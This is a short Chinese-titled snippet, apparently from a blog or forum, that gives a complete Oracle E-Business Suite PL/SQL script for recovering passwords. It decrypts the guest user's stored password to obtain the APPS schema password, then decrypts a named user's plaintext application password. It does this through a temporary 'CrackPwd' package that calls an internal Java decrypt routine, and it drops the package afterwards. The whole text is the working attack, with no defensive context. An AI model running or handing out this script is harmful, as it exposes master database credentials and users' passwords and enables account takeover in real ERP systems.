EBS查询用户密码:
DECLARE
X_USERNAME VARCHAR2(30) := ‘ZHOUBO’;–ERP用户名
X_APPSPASSWORD VARCHAR2(30);
X_GUESTUSERPWD VARCHAR2(30) := UPPER(FND_PROFILE.VALUE(‘GUEST_USER_PWD’)); --‘GUEST/ORACLE’,Can any user password
X_USERPWD VARCHAR2(30);
X_DELIM VARCHAR2(30);
X_GUESTUSERNAME VARCHAR2(30);
X_GUESTENCFNDPWD VARCHAR2(240);
X_SQL VARCHAR2(2000);
BEGIN
IF X_GUESTUSERPWD IS NULL THEN
X_GUESTUSERPWD := ‘GUEST/ORACLE’;
END IF;
X_DELIM := INSTR(X_GUESTUSERPWD, ‘/’);
X_GUESTUSERNAME := UPPER(SUBSTR(X_GUESTUSERPWD, 1, X_DELIM - 1));
X_SQL := ‘SELECT encrypted_foundation_password
FROM fnd_user_view
WHERE user_name = :1
AND (start_date <= SYSDATE)
AND (end_date IS NULL OR end_date > SYSDATE)’;
EXECUTE IMMEDIATE X_SQL
INTO X_GUESTENCFNDPWD
USING X_GUESTUSERNAME;
X_SQL := 'CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER AS ’ ||
'FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2) RETURN VARCHAR2; ’ ||
‘END CrackPwd;’;
EXECUTE IMMEDIATE X_SQL;
X_SQL := 'CREATE OR REPLACE PACKAGE BODY CrackPwd AS ’ ||
'FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2) RETURN VARCHAR2 AS ’ ||
'LANGUAGE JAVA NAME ‘‘oracle.apps.fnd.security.WebSessionManagerProc.decrypt’ ||
‘(java.lang.String,java.lang.String) return java.lang.String’’; ’ ||
‘END CrackPwd;’;
EXECUTE IMMEDIATE X_SQL;
X_SQL := 'SELECT crackpwd.getpwd(:1, :2) ’ || ‘FROM DUAL’;
EXECUTE IMMEDIATE X_SQL
INTO X_APPSPASSWORD
USING X_GUESTUSERPWD, X_GUESTENCFNDPWD;
X_SQL := 'SELECT crackpwd.getpwd(:1, encrypted_user_password) pwd ’ ||
‘FROM fnd_user WHERE user_name = :2’;
BEGIN
EXECUTE IMMEDIATE X_SQL
INTO X_USERPWD
USING X_APPSPASSWORD, X_USERNAME;
EXCEPTION
WHEN OTHERS THEN
NULL;
END;
DBMS_OUTPUT.PUT_LINE(‘apps:[’ || X_APPSPASSWORD || ‘]’);
DBMS_OUTPUT.PUT_LINE(X_USERNAME);
DBMS_OUTPUT.PUT_LINE(X_USERPWD);
X_SQL := ‘drop package CrackPwd’;
EXECUTE IMMEDIATE X_SQL;
EXCEPTION
WHEN OTHERS THEN
NULL;
END;